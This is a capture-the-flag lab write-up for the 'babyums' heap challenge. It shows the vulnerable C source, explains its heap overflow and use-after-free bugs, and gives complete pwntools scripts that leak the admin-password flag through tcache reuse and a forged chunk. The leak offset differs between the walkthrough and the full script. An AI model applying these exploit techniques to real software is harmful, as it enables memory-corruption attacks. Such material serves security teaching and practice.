# Simple PWN 0x19(Lab - `babyums` - flag 1)
###### tags: `CTF` `PWN` `eductf`
Version: Ubuntu 20.04
## Original Code
:::spoiler Original Code
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "flag{XXXXXXXX}"
struct User
{
char name[0x10];
char password[0x10];
void *data;
};
struct User *users[8];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 8)
printf("no, no ..."), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
if (size >= 0x500)
printf("no, no ..."), exit(1);
return size;
}
void add_user()
{
short int idx;
idx = get_idx();
users[idx] = malloc(sizeof(*users[idx]));
printf("username\n> ");
read(0, users[idx]->name, 0x10);
printf("password\n> ");
read(0, users[idx]->password, 0x10);
users[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (users[idx]->data == NULL)
users[idx]->data = malloc(size);
read(0, users[idx]->data, size);
printf("success!\n");
}
void del_user()
{
short int idx;
idx = get_idx();
free(users[idx]->data);
free(users[idx]);
printf("success!\n");
}
void show_users()
{
for (int i = 0; i < 8; i++) {
if (users[i] == NULL || users[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data);
}
}
void add_admin()
{
users[0] = malloc(sizeof(*users[0]));
strcpy(users[0]->name, "admin");
strcpy(users[0]->password, FLAG1);
users[0]->data = NULL;
}
int main()
{
char opt[2];
int power = 20;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("**** User Management System ****\n");
add_admin();
while (power)
{
power--;
printf("1. add_user\n"
"2. edit_data\n"
"3. del_user\n"
"4. show_users\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_user(); break;
case '2': edit_data(); break;
case '3': del_user(); break;
case '4': show_users(); break;
case '5': exit(0);
}
}
printf("No... no power..., b..ye...\n");
return 0;
}
```
:::
### Something wrong
* Heap overflow
* Used after free(UAF)
* Note that, flag 1 is admin password, flag 2 is at `/home/chal/`
## Exploit
### Hard solution - leak heap base address + heap overflow
If we can use heap overflow to overlap the `user k`'s `*data`, then we can let it point to admin's password and use `show_users()` to print it out
1. leak admin password address
It's very straight forward, if we delete two user, user 2 first and then user 1, at the same time, the `fd` of user 1 will point to the data of user 2. Then we can use `show_user()` to leak the address and try to find `admin_pass_addr` by minus offset
```python!
edit_data(0, 0x8, b'a') # Must add this line to use heap overflow
add_user(1, b'a'*8, b'aaaa')
edit_data(1, 0x20, b'a')
add_user(2, b'b'*8, b'bbbb')
del_user(2)
del_user(1)
show_user()
r.recvuntil(b'[1] ')
r.recvuntil(b'data: ')
admin_pass_addr = u64(r.recv(6).ljust(8, b'\x00')) - 0xa0
print(hex(admin_pass_addr))
```

2. Get the memory back from `tcache`
```python!
add_user(1, b'a'*8, b'aaaa')
edit_data(1, 0x20, b'a')
```
3. Construct fake chunk that the data pointer will point to the `admin_pass_addr`
```python!
fake_chunk = flat(
b'a'*8, b'a'*8,
b'a'*8, 0x31,
b'a'*8, b'a'*8,
b'a'*8, b'a'*8,
admin_pass_addr,
)
edit_data(0, 0x48, fake_chunk)
show_user()
```

4. Then we got flag 1!!!

### Easy solution
Try to let the admin user be the data of other user, then we can use `show_user` function to print it out
```python!
add_user(1, b'a'*8, b'aaaa')
del_user(0)
edit_data(1, 0x20, b'b'*16)
show_user()
```
1. First, we add user 1

2. Then we delete user 0(admin), so that it'll be put into `tcache`(`0x30`)

3. When we use `edit_data` function, it'll get a memory space from sub-bin of `tcache` be user1's data, which is what we delete. In addition, in order to print the data section out, must change the `NULL` byte to garbage

4. Then we got flag 1!!!

:::spoiler Whole exploit
```python=
from pwn import *
r = process('./chal')
# r = remote('edu-ctf.zoolab.org', 10008)
context.arch = 'amd64'
def add_user(idx, user_name, user_passwd):
r.sendafter(b'> ', b'1')
r.sendlineafter(b'index\n> ', str(idx))
r.sendafter(b'username\n> ', user_name)
r.sendafter(b'password\n> ', user_passwd)
def edit_data(idx, note_size, message):
r.sendafter(b"> ", b"2")
r.sendlineafter(b'index\n> ', str(idx))
r.sendlineafter(b'size\n> ', str(note_size))
r.send(message)
def del_user(idx):
r.sendafter(b"> ", b"3")
r.sendlineafter(b'index\n> ', str(idx))
def show_user():
r.sendafter(b"> ", b"4")
'''------------------
Hard solution
------------------'''
edit_data(0, 0x8, b'a')
add_user(1, b'a'*8, b'aaaa')
edit_data(1, 0x20, b'a')
add_user(2, b'b'*8, b'bbbb')
del_user(2)
del_user(1)
show_user()
r.recvuntil(b'[1] ')
admin_pass_addr = u64(r.recv(6).ljust(8, b'\x00')) - 0x70
print(hex(admin_pass_addr))
add_user(1, b'a'*8, b'aaaa')
fake_chunk = flat(
b'a'*8, b'a'*8,
b'a'*8, 0x31,
b'a'*8, b'a'*8,
b'a'*8, b'a'*8,
admin_pass_addr,
)
edit_data(1, 0x20, b'a')
edit_data(0, 0x48, fake_chunk)
show_user()
'''------------------
Easy solution
------------------'''
add_user(1, b'a'*8, b'aaaa')
del_user(0)
edit_data(1, 0x20, b'b'*16)
show_user()
r.interactive()
```
:::